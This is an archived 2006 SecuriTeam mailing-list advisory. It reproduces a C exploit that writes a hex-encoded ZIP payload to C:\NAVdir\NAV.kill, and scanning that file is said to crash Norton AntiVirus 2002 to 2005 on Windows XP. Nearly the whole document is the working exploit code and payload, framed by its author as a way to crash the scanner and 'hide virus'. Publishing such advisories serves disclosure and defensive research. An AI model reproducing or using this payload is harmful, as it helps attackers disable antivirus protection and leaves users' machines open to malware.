

# [EXPL] Norton AntiVirus Crasher (Exploit)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00031.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxx)>
  - *Date:* 9 Mar 2006 17:37:04 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Norton AntiVirus Crasher (Exploit)

---

## SUMMARY

<[http://www.symantec.com/home\\_homeoffice/products/virus\\_protection/nav2006/index.html](http://www.symantec.com/home_homeoffice/products/virus_protection/nav2006/index.html)> Norton AntiVirus (NAV, Also known as Symantec Antivirus) is the flagship product of Symantec Corporation and is one of the most widely installed anti-virus programs.

This exploit creates a file that crashes Norton Antivirus if scanned.

## DETAILS

### Vulnerable Systems:

- \* Norton AntiVirus 2005 running on Win XP SP2
- \* Norton AntiVirus 2002, 2003 and 2005 running on Win XP no SPs.

### Exploit:

```
// #####  
//  
//-- Norton AntiVirus Crash by NAV.kill File & Hide Virus  
//-- Coded by: JAAScois  
//-- Web site : www.jaascois.com  
//-- http://www.jaascois.com/exploits
```

[EXPL] Norton AntiVirus Crasher (Exploit)

```
//  
// #####  
//  
//  
// Tested on:  
// Windows XP SP2 [ Norton AntiVirus2005 ]  
// Windows XP SP0 [ Norton AntiVirus2002 & Norton AntiVirus2003 & Norton  
AntiVirus2005 ]  
//  
#include <stdio.h>  
#include <string.h>  
#include <windows.h>  
  
unsigned char NAVkill[]=  
"\x50\x4B\x03\x04\x14\x00\x02\x00\x08\x00\x1B\xAD\x7C\x28\x93\x75\xDC"  
"\xC8\xF9\x09\x00\x00\x56\x88\x00\x00\x09\x00\x00\x00\x6C\x69\x62"  
"\x20\x30\x2E\x7A\x69\x70\xED\xDD\x57\x50\x53\xDB\x1A\x07\xF0\x48"  
"\x11\x38\x74\x95\x43\x00\xB1\x51\x22\x48\x95\x1A\xC4\xA0\xDC\x23"  
"\xBD\x09\x48\x95\x62\x28\x51\x8A\xE8\x0D\x2D\x14\x2B\x47\xE9\x10"  
"\x01\x29\x46\x94\x8E\x28\x51\x44\x7A\xB3\x25\xA0\x20\x08\xA2\x20"  
"\x52\x54\x04\xA4\xB7\x43\x09\x88\x1C\xBD\x8E\xF7\xC6\x87\x33\x37"  
"\x33\x79\xFD\xF6\x7E\x58\x7B\xCD\xDA\xFF\xF9\x5E\x7F\xB3\xF7\x2A"  
"\x16\xC6\xAC\x6C\x5B\x10\x2C\x08\x4E\x44\xDB\x9D\xB0\xDD\x54\xD7"  
"\xF1\x0D\x92\x9C\x08\xC4\x46\x3C\x02\xF1\x1B\x02\x81\xC0\xFA\xF9"  
"\x79\xEF\x50\x51\x08\x39\x71\x6A\xB2\xCF\x5B\xD3\x7A\x75\x1B\xC7"  
"\x8C\x14\x25\x6A\x2B\x97\x90\x44\xAA\xB4\x04\x3A\x39\xD4\x3D\xB7"  
"\xE3\x4F\xC1\x40\xA4\xE0\xAE\x0A\x11\x93\x29\xA1\xAC\xBA\xED\x96"  
"\x81\xE4\x46\x79\xD3\x08\x49\xC7\x4D\xFF\xE6\xEF\x4B\x2E\x71\xA2"  
"\x4A\x25\x79\x3F\xAE\xF4\x49\x15\xAC\xBA\x34\x4A\x6A\x25\x9C\x6E"  
"\x75\x6E\xC3\x67\xE2\x9C\x6F\xD0\x8A\x17\xB0\xFB\x1B\x46\xD6\xD7"  
"\xC9\x0B\x73\xA5\x99\x01\xB4\xB5\x17\x5C\xB5\xD7\x28\x89\xA6\x4D"  
"\x2E\x89\xDD\x17\x12\xD7\x90\x4F\x7A\x3A\xF4\x30\x6C\x86\x5C\x87"  
"\x04\x76\xB2\x1D\x24\x19\x9A\x61\x36\x90\xCF\xDC\x17\x95\x7D\xE4"  
"\x7E\x23\x7D\x83\x79\x5C\xEE\x8E\x5B\xB6\xF8\xFD\x81\x8A\x26\xF9"  
"\x22\x29\x26\xD9\xBE\xC2\xAD\x96\x52\x61\x05\xB8\x0B\x75\x1F\xF7"  
"\x39\x4A\x64\xE7\x16\x1A\x04\x4B\x78\x68\x1C\x4E\x4F\x5B\x7B\x30"  
"\x74\xCB\x8B\x1C\x55\xDB\x94\x77\x5B\x10\x5D\xBF\x68\xA4\x97\x23"  
"\xD3\x68\x67\x5A\x93\x13\x54\xA0\x45\xC8\xBB\x5C\x14\xAA\x68\x8A"  
"\x9A\xAA\xC6\x2C\xB6\x86\x4E\xD4\xD7\x5C\xEC\xB7\xD5\xDE\xEF\x9B"  
"\x42\x9E\x3F\xA0\x7F\xFD\xEB\x42\x0D\xCF\x99\xED\x64\xB3\xEC\x58"  
"\x73\x4C\x7E\x2E\xCD\x2C\x28\x95\xB5\x9C\xD3\x3B\xD9\x63\x5B\xB8"  
"\xAD\xCA\x5D\x9F\x86\xEE\xE9\x0F\x3A\x4B\x47\x1C\xAD\x58\x91\xFC"  
"\x5A\x38\x72\xC5\xCA\x26\xF3\x10\x13\x87\x5B\xB1\xCA\x21\xB6\x1E"  
"\x0A\x16\x9E\x1A\x7B\xDE\x18\x6B\x57\x3D\x35\xB8\x36\xE9\xAA\xF4"  
"\x71\x96\x4F\x8C\xF5\xD3\xB5\x82\xD4\xC0\xD4\x1A\x0B\xAF\x89\x2F"  
"\x89\xC2\xD5\x41\x4D\x9B\xFB\x1F\xF9\x0A\x0F\x74\x14\xB0\xB4\xF1"  
"\xBD\x2C\x6B\x46\x9A\x97\xE1\x74\xEC\x72\x37\x52\x85\x0D\x0B\x29"  
"\xE1\x7B\xF9\x9A\xBD\xAE\x6F\x9E\x53\xB0\xF5\xE8\x71\xF4\x1F\x77"  
"\x19\x42\xC5\x7E\xDE\xB2\xC2\x96\x4C\xB2\xA9\x29\xB8\x37\x26\x17"  
"\xE8\x85\xCD\xC2\x39\xA0\x8A\x4B\xD1\xAE\x72\xFB\xD1\xCA\xC1\xB4"  
"\xFB\x2E\x1F\xFB\x89\xE7\xC3\x83\xF6\x98\xA9\x28\x78\x1D\xCF\xBF"
```

[EXPL] Norton AntiVirus Crasher (Exploit)

"\x34\x2C\x9D\xA1\x10\xB9\xB5\x5C\x6D\xE7\xF5\xE6\xFA\x30\x6B\xA2"  
"\x83\x92\xDA\xE2\x57\xE7\xD1\x55\x77\x63\xAB\x3F\x57\xA4\xBD\x4B"  
"\xE4\x6D\x26\x33\xD8\x59\x4A\x9C\x1D\x65\x70\xB9\x17\xF6\x36\xBD"  
"\xB3\x5F\x9B\x1D\xA7\x4D\x51\x6E\x64\x4F\xF0\xD5\x6D\xB1\xEA\x71"  
"\xD1\xDF\xDD\x90\x76\xA8\x6A\xA6\x4A\xD1\x8F\xBA\x78\x37\x6B\x30"  
"\x7E\x35\x1E\x93\x1B\x7E\x3A\xF6\xCB\x97\xFC\xF6\x2B\x7D\x7F\xA5"  
"\xA1\xD0\xA3\xD8\x4D\x7D\x3C\x2E\xC7\x25\x17\x8C\x3A\x94\x64\x76"  
"\x6B\xCE\x18\x7B\x4B\x35\x9C\xE8\x2B\x4F\x67\x75\x8B\x4D\x09\x89"  
"\x6B\xA0\xF9\xBD\x4F\xC1\x8B\xA9\xDF\x69\xE3\x92\xA3\x56\x2D\x9A"  
"\xD5\x4B\xF4\x1D\x0D\x93\x1C\xB6\xD5\xD0\x51\xC5\x38\xD3\xDC\x8B"  
"\x0C\x78\x50\xAA\x63\x96\x96\xC7\x47\xDB\xED\xFC\xAF\x53\xAD\x89"  
"\x8F\x15\x5F\x77\x46\x79\x06\xF7\xFA\x5A\x26\x2D\x34\x5F\x97\x28"  
"\x0F\xC9\xD3\xBA\xC5\xAF\x6F\xC8\x83\x9B\x34\xBE\x8A\x53\xAC\xCF"  
"\x3C\x51\xBB\x40\x74\x39\x30\xA0\x8B\xAB\x9E\x48\x2C\x0A\x5E\x41"  
"\x90\x71\x73\xBA\x76\xB9\x7E\xD7\xAA\xCD\x5E\x34\x46\x7F\xCE\xA1"  
"\xF9\xA7\x3E\x78\xC9\xB3\x62\xFE\xF6\xED\xC5\x59\x94\xEE\x96\xA9"  
"\xC2\x85\xBB\xC5\x48\x3F\xAA\xC9\xD5\x97\xB6\x33\x7C\x6A\xE2\xA9"  
"\xB8\xD2\x8B\x5C\x99\x38\x5B\x71\x7D\x76\xB2\x64\x89\x9D\x73\x68"  
"\xAD\x3E\xAF\x6C\x2F\x76\x6B\xF3\x0A\xEB\xCC\xA3\x5D\x8A\xF8\xB0"  
"\x20\x92\x41\xEA\x74\x81\x3E\x17\x27\x6F\x8C\xB5\x72\x03\xE9\xD9"  
"\x52\x9F\x50\x40\xC4\x15\x39\x7B\x21\xD4\x48\x24\xFE\x84\x0B\x77"  
"\x85\x98\x3D\x39\xDB\xA4\xED\x59\x6F\x68\x95\x05\xB2\xFC\xD3\xE3"  
"\xA6\x24\x8A\x63\xD0\xBD\x1E\xF9\x3E\x99\x6E\xEA\x45\x8E\x14\xA3"  
"\x93\xBE\x15\x78\x72\x3E\x41\xE4\xB6\x1A\xBA\xB7\xBF\xA7\xCB\x6D"  
"\x80\xB6\x63\x2A\x61\x7F\xFB\x3B\x1B\x67\x54\x44\x0C\xF6\xD9\x97"  
"\x96\x2A\x6E\xE2\x7C\x77\xDD\xB5\x37\xBB\x1A\x42\x25\xDD\x9D\x63"  
"\xF0\xAA\x1E\x6A\xC9\xCB\xFB\xF6\x99\x57\xC6\x91\x44\xD7\x9E\x7D"  
"\xAA\xE0\xB7\x57\xD7\x8F\x7B\x15\x5F\x36\xF4\x3C\xA5\xAB\xDB\xAF"  
"\x5D\xCB\x72\xC7\x88\x03\xA9\xE7\xA6\xA5\xCD\x81\xC6\xDA\x27\x0F"  
"\x8C\x1D\x4B\x4F\x5D\xCA\x78\xBC\x33\xBA\x6F\xB2\xD2\xBC\xF3\x18"  
"\x76\xFD\xBD\x93\xD8\xAD\x16\x31\xDE\xFC\x70\xC1\x35\x71\x42\xE6"  
"\xE9\x2C\x55\x93\x2C\xE5\xBC\x63\x45\x85\x01\x89\xCF\x0A\xDD\xBA"  
"\xCF\x1A\x3A\xFA\x58\x53\xE5\x73\x3F\xD3\x5C\x39\xD9\xBB\xE2\xEF"  
"\xEA\xE8\xE4\x65\x5C\x4A\xC1\x73\xC7\x2F\x97\x9D\x4C\xCD\x47\x13"  
"\xDA\x51\x36\xAD\x3A\x23\x94\x6E\xAF\x25\x6A\x01\x75\xEB\x99\xD5"  
"\x9D\xAF\xF6\x3E\x2F\x7D\x58\xC1\x52\x69\x6C\xD3\x31\x44\x24\x94"  
"\xCC\x45\x61\x1A\x91\x75\xE3\x47\x84\x72\xC3\xEA\x2A\x69\x28\x8A"  
"\x69\xE7\x91\x57\x6E\x79\x63\xD5\xB2\xBE\xDA\xC8\x1B\xF5\xB8\x7A"  
"\x49\x87\xD7\xD1\x59\xF6\x77\x88\x92\xE9\x2E\x15\x16\xEA\x9E\x67"  
"\x78\x09\x77\x7A\x33\x4E\x1B\x0C\x1C\xF1\x5D\x76\xF3\x50\x0D\x68"  
"\x09\xAC\x5A\x25\x79\xC9\x1D\x54\x92\x59\xF3\x14\xD6\xD3\x14\xDD"  
"\xE7\xFA\xF9\xBD\x0B\xB5\x5A\xCE\x76\xBD\x10\x5D\x91\x94\x22\x97"  
"\x69\xB7\xA7\x2F\xBD\xBF\xBD\x46\x13\x15\x97\x67\xDE\x79\x99\x62"  
"\x24\x1B\xD7\x1D\xDE\xAC\x86\x65\xDB\x38\x6B\x94\xBC\xE9\x79\xA8"  
"\xB2\xD3\x8D\xF4\x81\x60\xAB\x9C\x67\x5D\x65\xE5\x1E\x18\x77\x36"  
"\xBE\x4F\x75\x32\x21\x1D\xFE\x47\x87\xF9\x29\xB7\xF5\x9D\x35\x17"  
"\xA6\xD4\xF7\xD4\x16\x15\x2C\x53\xF6\x49\x3F\x51\x9F\x26\xE6\x8D"  
"\xEB\x8E\x84\xC4\x07\x12\x36\xD7\xF4\x96\x56\xE8\xFB\x74\x0D\x8A"  
"\xAF\xFD\xAB\xC4\x99\xBF\x66\x28\x33\x22\xD8\x52\xE7\xF7\x86\x6D"  
"\xF5\x4E\xE2\x41\xA6\x04\xD3\x7B\xBA\xD9\x5D\xE5\x97\x16\x27\x8B"  
"\xD7\x13\x7B\xC2\x82\xDF\xE3\x54\xC4\x92\x6E\x5E\x96\xCF\xDE\xDE"

[EXPL] Norton AntiVirus Crasher (Exploit)

"\x84\x2A\x3A\x61\xD4\xBC\xDD\x40\xD4\x05\x65\xC5\xB6\x16\x59\xA5"  
"\x2C\x22\xF1\xE0\xE0\xD9\xE8\x31\x89\x47\x88\xDA\x69\xAB\x0B\x91"  
"\x58\x6E\xD3\xE0\x91\xE5\x0D\xF7\x7D\x9C\xEC\x5C\x1D\xEC\x7B\x75"  
"\xAD\x63\xDE\x07\x5C\x39\xF5\x98\x37\x65\xA0\x6C\x1A\x95\x11\xD2"  
"\xED\x5F\x97\x51\x52\x62\x9E\x8E\x7F\x20\xCA\xE5\x84\x1B\x49\x7D"  
"\x70\xC8\xDF\x2A\xEA\x4D\x67\xE3\x47\xAE\x37\x1A\x6E\x2D\x24\x8E"  
"\x85\x36\xFE\xA3\xC6\x75\x0D\x25\xBB\xAE\xD8\x7B\xA8\xF4\x0D\xE5"  
"\x99\x89\x37\xBE\xA6\xD6\xCA\x71\x35\x69\x44\xBF\x31\xCC\x53\xBB"  
"\x11\xEE\xD6\x7B\xED\xE6\xA9\xA9\x9B\x8E\x73\x96\xB1\x36\x29\xE4"  
"\xEC\xF2\xB0\xEE\xA8\x9A\xF8\x85\xBC\x43\x2C\x53\x44\x9B\xC5\x8F"  
"\xD6\x35\x03\x33\xEC\x81\x2C\x65\xDC\x49\x92\xED\xAF\x29\x65\x0E"  
"\xC5\x91\x02\x6F\x5E\x64\x94\x5E\x3A\x3C\xA9\x99\xB0\x8C\xEB\x88"  
"\x7D\x3E\xC1\x1E\x23\x70\x50\x2A\xFA\xDD\x87\x1C\xAA\x18\xD1\x4D"  
"\x48\xF0\xF0\x8B\x59\x76\xF1\xE2\xC9\xCA\xA7\x0D\x05\xDE\xDE\x9C"  
"\x31\xAD\x6D\x7A\x7A\xFC\x5A\xD6\x82\xB9\x25\x32\xBC\x3C\x22\x62"  
"\xCD\x3E\xC2\x5E\x64\x4C\xA8\x9F\x46\x28\xBF\x8D\xC4\xD7\x59\x5A"  
"\x8C\xDE\xF8\xB1\xE2\xEC\xBD\x8D\x52\x6A\x72\x5B\xD9\x07\x36\xBB"  
"\xBD\xFD\xCD\xD7\x9B\x93\x8B\xF8\x25\x5D\x31\x69\xA4\xF1\x18\x0A"  
"\x83\x4F\xAF\xE0\x6D\x3F\x10\xC1\xF3\x35\xC0\x82\x4F\x3D\xAD\x27"  
"\xA2\x88\x60\xA1\xE6\x85\xD9\x48\xC3\x4F\xB6\xCC\x8F\xCC\x73\x67"  
"\x8D\x21\x3B\x17\x38\x2C\x06\x3D\x0B\xE7\x13\x6E\x0E\x0F\x1E\x5E"  
"\xE8\x3D\xEB\xC9\x2D\xD2\x4B\x3C\x89\x5F\x9F\x3E\xBD\xB8\xE4\xD2"  
"\xAD\x20\x7F\x72\xBB\x73\xF4\xC9\x97\x32\x46\x0D\xD1\x4F\x27\x4E"  
"\x25\x12\x79\xAA\x75\x95\xA4\x03\x44\x54\x42\x31\x45\xE2\x4B\x92"  
"\xCD\xED\xB4\x34\xC1\xA7\x42\x17\x63\xE3\x48\xAC\xA2\xA5\x97\x47"  
"\x4C\x49\x7E\x65\x84\xA1\xF6\xCC\x71\x59\xDC\xE8\x5F\xD4\x1A\x5C"  
"\xD8\x3E\x72\xFF\x0E\xE3\x36\xB4\xD8\xE1\xCF\x67\xB4\xDC\xFE\xAA"  
"\x3D\x57\x37\x2E\x5F\x37\x42\xF9\x58\xDD\xBC\xF7\xE0\xF4\x5D\x9F"  
"\x2E\x4A\x34\x9B\xD3\x28\x1A\x9D\x55\x91\x92\x5E\xFE\xCA\x1F\x2B"  
"\xF0\x64\x62\x76\xA9\x55\xD4\x24\x3A\x28\x41\xA9\x69\x8E\x8C\x91"  
"\xF7\xF1\x97\xBE\xE3\x78\x32\xEE\x85\x56\xE5\x53\x33\x3B\x64\x51"  
"\xF5\x23\xEF\x56\x22\xA1\xC8\x75\x5B\x1A\xC7\xF0\x79\xC2\xB7\xA6"  
"\x51\x6A\xF8\xD6\x7F\x1E\x7E\xF4\x53\xD3\x0A\xF8\x86\xFF\xDB\x3F"  
"\x8A\xED\xDF\xA9\xC4\xDF\xC2\x3A\xFF\x50\xFB\x5B\x33\xB8\x69\x5E"  
"\xF5\x91\xF6\xCF\x7E\x82\x71\xCB\x2B\x96\x1F\x03\xDF\xFB\x0A\xCA"  
"\xE6\x62\x3F\x5F\x64\x9D\xAF\x7C\x5A\xFB\xE4\x97\x1A\xA3\xE7\xE8"  
"\x6B\x8C\xB0\xFD\x52\x43\xEA\x97\x1A\xA4\x5F\x6A\xE0\x37\xD0\xD7"  
"\x68\x13\xA2\xAF\xA1\xAD\xF1\xBF\xE0\xAA\x8E\x52\x02\x2E\x09\x39"  
"\xD7\xF0\x7A\x75\x49\x3A\x26\x79\xFD\xC2\xCD\xAE\x57\x83\xDA\xD5"  
"\x0F\x2F\x3B\x5C\x8D\x9C\xFF\x1C\x21\xE0\x15\xC0\xD1\x9A\xB3\x86"  
"\x2D\x94\x7E\x4B\xD2\x7F\xA7\x54\xE8\x9C\x43\xD2\x1F\x5F\xCA\x76"  
"\x28\x3F\xBD\xAD\xD8\xFA\x8F\x80\xFA\x0F\xDA\x0E\xA7\x38\x5F\x1F"  
"\x38\x37\x7F\x3C\x5F\x7D\x4C\xC7\xA4\x35\xC7\x70\xA5\x70\xC0\x5E"  
"\x33\xA1\x1F\x13\xB5\x22\x9B\x36\x7F\x3C\x92\x6B\x6C\x50\xB6\x35"  
"\x07\xF3\x7B\x61\x50\x27\x49\xDF\xC9\xE7\x70\xC2\x0A\x3A\x21\x33"  
"\x48\x77\xBF\xF2\x07\x6D\x2F\x5D\xDD\xBE\xE0\x8C\xCD\xE5\x33\x6B"  
"\xC8\xDE\xAF\x6D\x75\x91\xC2\x07\x79\x6A\xCF\xB6\xAC\x73\x58\xFC"  
"\x7F\x4B\x28\x83\x25\xC0\x12\x60\x09\xB0\x04\x58\x02\x2C\x01\x96"  
"\x00\x4B\x30\x61\x89\xBD\x60\x09\xB0\x04\x58\x02\x2C\x01\x96\x00"  
"\x4B\x80\x25\xC0\x12\x4C\x58\x42\x09\x2C\x01\x96\x00\x4B\x80\x25"  
"\xC0\x12\x60\x09\xB0\x04\x58\x82\x09\x4B\xA8\x82\x25\xC0\x12\x60"

[EXPL] Norton AntiVirus Crasher (Exploit)

```
"\x09\xB0\x04\x58\x02\x2C\x01\x96\x00\x4B\x30\x61\x09\x35\xB0\x04"  
"\x58\x02\x2C\x01\x96\x00\x4B\x80\x25\xC0\x12\x60\x09\x26\x2C\xA1"  
"\x0E\x96\x00\x4B\x80\x25\xC0\x12\x60\x09\xB0\x04\x58\x02\x2C\xC1"  
"\x84\x25\x34\xC0\x12\x60\x09\xB0\x04\x58\x02\x2C\x01\x96\x00\x4B"  
"\x80\x25\x98\xB0\x84\x26\x58\x02\x2C\x01\x96\x00\x4B\x80\x25\xC0"  
"\x12\x60\x09\xB0\x04\x13\x96\x40\x83\x25\xC0\x12\x60\x09\xB0\x04"  
"\x58\x02\x2C\x01\x96\x00\x4B\x30\x61\x89\x63\x60\x09\xB0\x04\x58"  
"\x02\x2C\x01\x96\x00\x4B\x80\x25\xC0\x12\x4C\x58\x02\x0B\x96\x00"  
"\x4B\x80\x25\xC0\x12\x60\x09\xB0\x04\x58\x02\x2C\xC1\x84\x25\xDC"  
"\xC0\x12\x60\x09\xB0\x04\x58\x02\x2C\x01\x96\x00\x4B\x80\x25\x98"  
"\xB0\x84\x3B\x58\x02\x2C\x01\x96\x00\x4B\x80\x25\xC0\x12\x60\x09"  
"\xB0\x04\x13\x96\xF0\x00\x4B\x80\x25\xC0\x12\x60\x09\xB0\x04\x58"  
"\x02\x2C\x01\x96\x60\xC2\x12\x9E\x60\x09\xB0\x04\x58\x02\x2C\x01"  
"\x96\x00\x4B\x80\x25\xC0\x12\xFF\x6C\x89\x0D\x2C\x5B\x10\xFF\xAC"  
"\x89\x1F\xD7\x0E\x44\xF9\x79\xC4\x4F\x5B\xA8\x7C\xB7\x05\xE3\x39"  
"\x13\x4E\xFA\xB3\xCB\x19\xCF\xA5\x09\xD0\x9F\x53\xCA\x78\xEE\x13"  
"\x92\xFE\x4C\x32\xC6\x73\x4A\x3B\xE9\xCF\x1F\x61\x3C\x17\x26\x43"  
"\xBF\xD7\x38\xE3\xB9\x26\x65\xFA\x7D\x45\x19\xCF\x6D\xD1\xA2\xDF"  
"\x43\x8C\xF1\x9C\xAB\x2E\xFD\x7E\x21\x8C\xE7\xEE\x18\xD1\xAF\x0D"  
"\x66\x3C\xB7\x6C\x49\xBF\x0E\x88\xF1\xDC\x1F\x8E\xF4\x73\x7E\x19"  
"\xCF\x25\xBA\xD1\xCF\xEF\x61\x3C\xD7\xEB\x4D\xFF\x2F\x8F\xF1\xDC"  
"\x6E\x7F\xFA\xEF\x76\x8C\xE7\xFC\xC3\xE8\x8D\x6E\x61\xCC\xBE\xF1"  
"\xFB\x88\xC0\xB7\xFB\x1C\x2B\x02\xF1\x30\xE2\xFB\xCB\x7F\x03\x50"  
"\x4B\x01\x02\x14\x00\x14\x00\x02\x00\x08\x00\x1B\xAD\x7C\x28\x93"  
"\x75\xDC\xC8\xF9\x09\x00\x00\x56\x88\x00\x00\x09\x00\x00\x00"  
"\x00\x00\x00\x00\x20\x00\xB6\x81\x00\x00\x00\x00\x6C\x69\x62"  
"\x20\x30\x2E\x7A\x69\x70\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00"  
"\x01\x00\x37\x00\x00\x00\x20\x0A\x00\x00\x00\x00";
```

```
int main(int argc, char* argv[])
```

```
{
```

```
FILE *NKfile;
```

```
char filenameX[200];
```

```
printf("Norton AntiVirus Crash by NAV.kill File & Hide Virus \n");
```

```
printf(" Coded by: JAAScois – Web site : www.jaascois.com\n");
```

```
ZeroMemory(filenameX,200);
```

```
CreateDirectory("c:\\NAVdir",NULL);
```

```
strcpy(filenameX,"c:\\NAVdir\\NAV.kill");
```

```
NKfile=fopen(filenameX,"w+b");
```

```
if(NKfile==NULL){
```

```
printf("-Error: fopen \n");
```

```
return 0;
```

```
}
```

```
fwrite(NAVkill,2669,1,NKfile);
```

```
fclose (NKfile);
```

```
printf("- Created file: NAV.kill ...OK\n– Now scan this folder
```

```
[C:\\NAVdir\\
```

```
by Norton AntiVirus to Crash !\n\n");
```

[EXPL] Norton AntiVirus Crasher (Exploit)

```
return 0;  
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:admin@xxxxxxxxxxxxx>>  
JAAScois.  
The original article can be found at: <<http://www.jaascois.com/exploits>>  
<http://www.jaascois.com/exploits>

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@xxxxxxxxxxxxxxx  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxx

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.